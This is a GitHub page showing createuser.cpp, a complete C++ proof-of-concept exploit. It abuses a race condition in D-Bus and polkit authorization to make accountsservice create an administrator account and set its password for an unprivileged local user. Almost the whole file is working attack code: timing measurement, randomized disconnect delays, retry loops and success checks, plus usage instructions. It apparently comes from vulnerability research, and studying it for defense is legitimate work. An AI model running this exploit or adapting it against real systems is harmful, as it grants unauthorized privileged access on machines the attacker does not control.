-
Notifications
You must be signed in to change notification settings - Fork 283
Expand file tree
/
Copy pathcreateuser.cpp
More file actions
416 lines (363 loc) · 11.7 KB
/
createuser.cpp
File metadata and controls
416 lines (363 loc) · 11.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
#include "dbus_utils.hpp"
#include "dbus_auth.hpp"
#include "parse.hpp"
#include "utils.hpp"
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <crypt.h>
#include <errno.h>
#include <spawn.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <cstdint>
#include <functional>
#include <memory>
#include <random>
#include <utility>
#include <assert.h>
// When we set the password, we also have to supply a hint. No privileges
// are required to ask for the password hint, so this is a useful way to
// check if we successfully set the password. (The hint will be an empty
// string if the password isn't set.)
static const char* passwordhint = "GoldenEye";
class DBusSocket : public AutoCloseFD {
public:
DBusSocket(const uid_t uid, const char* filename) :
AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
{
if (get() < 0) {
throw ErrorWithErrno("Could not create socket");
}
sockaddr_un address;
memset(&address, 0, sizeof(address));
address.sun_family = AF_UNIX;
strcpy(address.sun_path, filename);
if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
throw ErrorWithErrno("Could not connect socket");
}
dbus_sendauth(uid, get());
dbus_send_hello(get());
std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
}
};
static std::string send_accountsservice_FindUserByName(
const int fd,
const char* username,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectString::mk(_s(username))
)
),
_s("/org/freedesktop/Accounts"),
_s("org.freedesktop.Accounts"),
_s("org.freedesktop.Accounts"),
_s("FindUserByName")
);
std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
throw Error("FindUserByName returned an error.");
}
return reply->getBody().getElement(0)->toPath().getValue();
}
// Check if an account with the given username already exists.
static std::string lookup_username(
const uid_t uid,
const char* filename,
const char* username
) {
DBusSocket fd(uid, filename);
return send_accountsservice_FindUserByName(fd.get(), username, 1001);
}
static bool username_exists(
const uid_t uid,
const char* filename,
const char* username
) {
DBusSocket fd(uid, filename);
try {
send_accountsservice_FindUserByName(fd.get(), username, 1001);
} catch(Error&) {
return false;
}
return true;
}
static void send_accountsservice_CreateUser(
const int fd,
const char* username,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectString::mk(_s(username)),
DBusObjectString::mk(_s(username)),
DBusObjectInt32::mk(1)
)
),
_s("/org/freedesktop/Accounts"),
_s("org.freedesktop.Accounts"),
_s("org.freedesktop.Accounts"),
_s("CreateUser")
);
}
// Record the amount of time it takes to get a response from the
// CreateUser method. The response will be an error because
// it will be denied by polkit. This response time gives us an upper
// bound on how long we need to wait before disconnecting when we
// attempt to trigger the bug.
static long record_time_CreateUser(
const uid_t uid, const char* filename, const char* username
) {
DBusSocket fd(uid, filename);
// Start a timer.
timespec starttime;
clock_gettime(CLOCK_MONOTONIC, &starttime);
send_accountsservice_CreateUser(fd.get(), username, 1001);
receive_dbus_message(fd.get());
// Stop the timer.
timespec endtime;
clock_gettime(CLOCK_MONOTONIC, &endtime);
// Calculate the time difference.
long diff =
(1000000000 * (endtime.tv_sec - starttime.tv_sec)) +
(endtime.tv_nsec - starttime.tv_nsec);
return diff;
}
// This function calls the CreateUser method, but doesn't wait for the
// reply. Instead it disconnects from D-Bus after the specified number of
// nanoseconds. If we get lucky with the timing of the delay, it will
// hopefully trigger the bug and bypass polkit.
static void attempt_CreateUser_with_disconnect(
const uid_t uid,
const char* filename,
const char* username,
const long delay
) {
DBusSocket fd(uid, filename);
timespec duration;
duration.tv_sec = delay / 1000000000;
duration.tv_nsec = delay % 1000000000;
send_accountsservice_CreateUser(fd.get(), username, 1001);
clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
// Returning from this function automatically disconnects us from D-Bus
// because DBusSocket's destructor closes the file descriptor.
}
// Keep trying `attempt_CreateUser_with_disconnect` with different
// delay values until the exploit succeeds (or we decide to give up).
static std::string exploit_CreateUser(
const uid_t uid,
const char* filename,
const char* username
) {
// First measure how long a regular CreateUser method call takes.
const long elapsed =
record_time_CreateUser(uid, filename, username);
printf("Elapsed time: %ld nanoseconds\n", elapsed);
// Random number generator which will generate random
// pause times in the range 0 .. 2*elapsed.
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<long> distrib(0, 2*elapsed);
// If it doesn't succeed after 1000 attempts then it probably
// isn't going to work.
for (size_t i = 0; i < 1000; i++) {
const long delay = distrib(gen);
attempt_CreateUser_with_disconnect(uid, filename, username, delay);
try {
// Check if the username has been created.
std::string userpath = lookup_username(uid, filename, username);
printf(
"Successfully created %s after %ld iterations,\n"
"with a delay value of %ld nanoseconds\n",
userpath.c_str(), i, delay
);
return userpath;
} catch (Error&) {
// Keep going.
}
}
throw Error("Failed to create new user account.");
}
static void send_accountsservice_SetPassword(
const int fd,
const char* userpath,
const char* password,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectString::mk(_s(password)),
DBusObjectString::mk(_s(passwordhint))
)
),
_s(userpath),
_s("org.freedesktop.Accounts.User"),
_s("org.freedesktop.Accounts"),
_s("SetPassword")
);
}
// Useful for determining if we have successfully set the password.
// If the password is set, then the hint will be set too.
static std::string send_accountsservice_GetPasswordHint(
const int fd,
const char* userpath,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectString::mk(_s("org.freedesktop.Accounts.User")),
DBusObjectString::mk(_s("PasswordHint"))
)
),
_s(userpath),
_s("org.freedesktop.DBus.Properties"),
_s("org.freedesktop.Accounts"),
_s("Get")
);
std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
throw Error("GetPasswordHint returned an error.");
}
return reply->getBody().getElement(0)->toVariant().getValue()->toString().getValue();
}
static bool has_passwordhint(
const uid_t uid,
const char* filename,
const char* userpath
) {
DBusSocket fd(uid, filename);
std::string hint =
send_accountsservice_GetPasswordHint(fd.get(), userpath, 1001);
return strcmp(hint.c_str(), passwordhint) == 0;
}
// Record the amount of time it takes to get a response from the
// SetPassword method. The response will be an error because
// it will be denied by polkit. This response time gives us an upper
// bound on how long we need to wait before disconnecting when we
// attempt to trigger the bug.
static long record_time_SetPassword(
const uid_t uid,
const char* filename,
const char* userpath,
const char* password
) {
DBusSocket fd(uid, filename);
// Start a timer.
timespec starttime;
clock_gettime(CLOCK_MONOTONIC, &starttime);
send_accountsservice_SetPassword(fd.get(), userpath, password, 1001);
receive_dbus_message(fd.get());
// Stop the timer.
timespec endtime;
clock_gettime(CLOCK_MONOTONIC, &endtime);
// Calculate the time difference.
long diff =
(1000000000 * (endtime.tv_sec - starttime.tv_sec)) +
(endtime.tv_nsec - starttime.tv_nsec);
return diff;
}
// This function calls the SetPassword method, but doesn't wait for the
// reply. Instead it disconnects from D-Bus after the specified number of
// nanoseconds. If we get lucky with the timing of the delay, it will
// hopefully trigger the bug and bypass polkit.
static void attempt_SetPassword_with_disconnect(
const uid_t uid,
const char* filename,
const char* userpath,
const char* password,
const long delay
) {
DBusSocket fd(uid, filename);
timespec duration;
duration.tv_sec = delay / 1000000000;
duration.tv_nsec = delay % 1000000000;
send_accountsservice_SetPassword(fd.get(), userpath, password, 1001);
clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
// Returning from this function automatically disconnects us from D-Bus
// because DBusSocket's destructor closes the file descriptor.
}
// Keep trying `attempt_SetPassword_with_disconnect` with different
// delay values until the exploit succeeds (or we decide to give up).
static void exploit_SetPassword(
const uid_t uid,
const char* filename,
const char* userpath,
const char* password
) {
// First measure how long a regular SetPassword method call takes.
const long elapsed =
record_time_SetPassword(uid, filename, userpath, password);
printf("Elapsed time: %ld nanoseconds\n", elapsed);
// Random number generator which will generate random
// pause times in the range 0 .. 2*elapsed.
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<long> distrib(0, 2*elapsed);
// If it doesn't succeed after 1000 attempts then it probably
// isn't going to work.
for (size_t i = 0; i < 1000; i++) {
const long delay = distrib(gen);
attempt_SetPassword_with_disconnect(uid, filename, userpath, password, delay);
if (has_passwordhint(uid, filename, userpath)) {
printf("Success!\n");
return;
}
}
throw Error("Failed to create new user account.");
}
int main(int argc, char* argv[]) {
const char* progname = argc > 0 ? argv[0] : "a.out";
if (argc != 4) {
fprintf(
stderr,
"usage: %s <unix socket path> <username> <password>\n"
"example: %s /var/run/dbus/system_bus_socket boris iaminvincible\n",
progname,
progname
);
return EXIT_FAILURE;
}
const uid_t uid = getuid();
const char* filename = argv[1];
const char* username = argv[2];
const char* passphrase = argv[3];
// Convert the passphrase to a hash.
char salt[CRYPT_GENSALT_OUTPUT_SIZE] = {};
struct crypt_data cryptdata = {};
crypt_gensalt_rn("$6$", 0, 0, 0, salt, sizeof(salt));
crypt_r(passphrase, salt, &cryptdata);
const char* password = cryptdata.output;
if (username_exists(uid, filename, username)) {
fprintf(
stderr,
"Error: username %s already exists.\n"
"Please try again with a different username.\n",
username
);
return EXIT_FAILURE;
}
std::string userpath = exploit_CreateUser(uid, filename, username);
exploit_SetPassword(uid, filename, userpath.c_str(), password);
return EXIT_SUCCESS;
}